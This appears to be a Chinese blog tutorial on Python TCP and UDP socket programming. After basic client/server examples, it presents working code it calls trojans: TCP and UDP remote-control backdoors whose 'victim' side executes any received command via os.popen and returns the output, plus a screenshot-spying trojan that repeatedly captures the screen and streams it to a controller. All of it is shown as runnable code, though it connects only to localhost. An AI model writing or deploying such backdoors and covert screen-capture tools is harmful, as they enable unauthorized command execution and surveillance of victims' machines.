Python网络编程(TCPUDP)

    技术2022-07-11  126

    TCP/IP网络模型概念

    应用层ftp/http/https/websocket/websockets/DNS/…传输层提供端对端的接口 (point to point 2 p2p p4p):TCP/UDP网络层为路由包选择路由:ip/icmp/rip/BGP/IGMP/…链路层以二进制数据性质进行物理媒体上传输数据和传输有地址的帧和有检测错误的功能

    TCP

    传输控制协议,是有连接,有顺序,且可以根据网络情况进行调整,有拥塞机制特点: 有连接,3次握手和4次断握 断握 功能单一 单播传输 面向字节流可靠传输提供拥塞机制全双工通信

    TCP通信-服务器端

    #TCP import socket tcpserver = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#默认TCP serverAddr = ('',12312) tcpserver.bind(serverAddr) tcpserver.listen(5) while True: #建立套接字通信连接 client,addr = tcpserver.accept() print(client) #<socket.socket fd=548, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 12312), raddr=('127.0.0.1', 55326)> print(addr) #('127.0.0.1', 55326) #解析接收到的数据 fromclientdata = client.recv(4096).decode() print(fromclientdata) #向客户端发 client.send("来自服务器的消息1".encode()) # client.send("来自服务器的消息2".encode()) client.close()

    TCP通信-服务器端

    #TCP client import socket import time tcpclient = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #握手,建立连接 serveradds = ('127.0.0.1',12312) try: tcpclient.connect(serveradds) print("连接成功") except Exception as e: print("连接不成功") while True: #做业务-向服务器发消息 tcpclient.send("Client1-来自客户端的消息1".encode()) # # time.sleep(10) # tcpclient.send("来自客户端的消息2".encode()) # tcpclient.send("来自客户端的消息3".encode()) # tcpclient.send("来自客户端的消息4".encode()) #收消息 fromserverdata = tcpclient.recv(4096).decode() print(fromserverdata) #断开连接,否则端口会被占用,且一直存活 tcpclient.close()

    TCP msf远程控制木马-受控端-exe

    #msf-木马-exe from socket import * import os exe = socket(AF_INET,SOCK_STREAM) addr = ('',14445) exe.bind(addr) exe.listen(5) while True: console,consoleadds = exe.accept() while True: cmd = console.recv(4096) if len(cmd)>0: decmd = cmd.decode('utf-8') print("console:"+decmd) res = os.popen(decmd) res = res.read() console.send(res.encode('utf-8')) else: break console.close()

    TCP msf远程控制木马-控制端

    #console from socket import * console = socket(AF_INET,SOCK_STREAM) addr = ("127.0.0.1",14445) console.connect(addr) while True: sendcmd = input(">>") if len(sendcmd)>0: console.send(sendcmd.encode('utf-8')) else: print("命令不能为空") break #接收结果 msfres = console.recv(4096) print(msfres.decode('utf-8'))

    TCP 远程监控截屏木马-受控端-exe

    #client-exe #建立连接,获取数据包,按大小轮询获取,直到完成,结束时保存图片 import socket,sys,threading import pyautogui #pip install pyautogui import time import os import struct def socket_console(): try: s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)#连接到木马的控制机 s.connect(('127.0.0.1',14446)) except socket.error as e: print(e) sys.exit(1) #业务处理 #先发送一个文件包:文件名,文件大小 #截屏 while 1: print("开始截屏") time.sleep(2) img = pyautogui.screenshot() img.save('temp.jpg') print("截屏结束") #发送数据包 filepath = 'temp.jpg' #判断文件是否存在 if os.path.isfile(filepath): #表示存在 #封装一个包,含文件名,大小b #128s:128bytes长度,l表示int/long类型 fileinfo_size = struct.calcsize("128sl") #basename()取文件名称,不带格式的 filehead = struct.pack('128sl',bytes(os.path.basename(filepath).encode('utf-8')),os.stat(filepath).st_size) print(filehead) #将头部信息发送给控制终端 s.send(filehead) #打开文件,并以进制的方式打开 fp = open(filepath,'rb') while 1: data = fp.read(1024) if not data: print("读取完毕,没有数据") break s.send(data) s.close() #如果要间隔2s读取一次并发送一次图片,就不要break break if __name__ == '__main__': socket_console() os.remove('temp.jpg')

    TCP 远程监控截屏木马-控制端

    #console #建立TCP通道,利用工具截屏,保存文件,读取字节并发送数据包,直到发送完成,删除图片 import socket,sys,threading,os import struct def socket_service(): try: s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)#表示将socket关闭后,立即释放端口,否则系统会保留几分钟才会释放 s.bind(('',14446)) s.listen(10) except socket.error as e: print(e) sys.exit(1) print("Waiting......") while 1: console,addr = s.accept() #增加线程,增加并发性 t = threading.Thread(target=deal_data,args=(console,addr)) t.start() def deal_data(console,addr): print("一个新的连接{}".format(addr)) while 1: #设定文件大小 fileinfo_size = struct.calcsize("128sl") buf = console.recv(fileinfo_size) if buf: filename,filesize = struct.unpack('128sl',buf) fn = filename.strip(str.encode('\00')) print(fn) #新的名字保存 newfn = os.path.join(str.encode('./'),str.encode('new_')+fn) print("新文件名为:{},新文件大小为:{}".format(newfn,filesize)) #接收文件流 #定义一个接收文件的大小 recvd_size = 0 recvfp = open(newfn,'wb') print("开始接收......") while not recvd_size==filesize: if filesize-recvd_size>1024: #如果总大小减去已经接收到的文件大小还大于1024,继续按1024接收 data = console.recv(1024) recvd_size+= len(data) else: #如果待接收文件内容的大小小于1024,则说明不够1k,就直接取剩下的文件内容 data = console.recv(filesize-recvd_size) recvd_size = filesize recvfp.write(data) recvfp.close() print("文件接收完成") console.close() break if __name__ == '__main__': socket_service()

    UDP

    用户数据报协议,是一种无连接的协议特点: 面向无连接 它不会像TCP一样有握手和断握的处理机制,它只是数据的搬运工,且不会对数据进行任何的拆分和拼接操作在发送端:应用层将数据传递给传输层的UDP,UDP增加一个UDP标识头以后,就将数据传给网络层在接收端:网络层将数据传递给传输层,UDP只去除IP报文头就传递给应用层,不会对数据做任何操作 功能较多 单播多播广播 面向报文 不会改变任何已经有的报文,因此需要选择合适大小的报文进行传递 可靠性 由于无连接,因此不可靠数据不可变和拆,大小不变,不会关心是否已经正确接收到数据网络环境变化,不可靠,UDP没有拥塞机制,以智慧以恒定的速度进行传输 头部开销小

    UPD通信-服务器端

    #UDP通信-服务器端 import socket udpserver = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)#第一个是IPV4,后一个是UDP,默认是IPV4/TCP udpserver.bind(("127.0.0.1",6000)) print("UDP启动成功!") #接收来自用户端的数据 while True: data,addr = udpserver.recvfrom(1024) print("用户端说:{}".format(data)) #向用户端发送数据 sdata = input(">>") udpserver.sendto("服务器说:{}".format(sdata).encode(),addr)

    UDP通信-客户端

    #UDP通信-用户端 import socket udpclient = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)#第一个是IPV4,后一个是UDP,默认是IPV4/TCP serveraddr = ("127.0.0.1",6000) while True: data = input(">>") if not data: continue udpclient.sendto(data.encode(),serveraddr)#(数据,目标地址) #接收来自于客户端的数据 sdata,saddr = udpclient.recvfrom(1024) print("<<{}".format(sdata.decode()))

    UDP msf远程控制木马-受控端

    #udp msf远程控制木马-受控端 import socket import os c = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) #ip需要动态获取 c.bind(('',14444)) while True: data,addr = c.recvfrom(4096) #执行接收到的数据 # print(data.decode()) #通过os模块执行cmd命令且返回执行后的结果 cmd = data.decode() res = os.popen(cmd,'r') res = res.read() c.sendto(res.encode(),addr)

    UDP msf远程控制木马-控制端-console

    #udp msf远程控制木马-控制端-console import socket c = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) adds = ('127.0.0.1',14444) data = input(">>") c.sendto(data.encode(),adds) sdata,saddr = c.recvfrom(4096) print("{}".format(sdata.decode()))
    Processed: 0.009, SQL: 9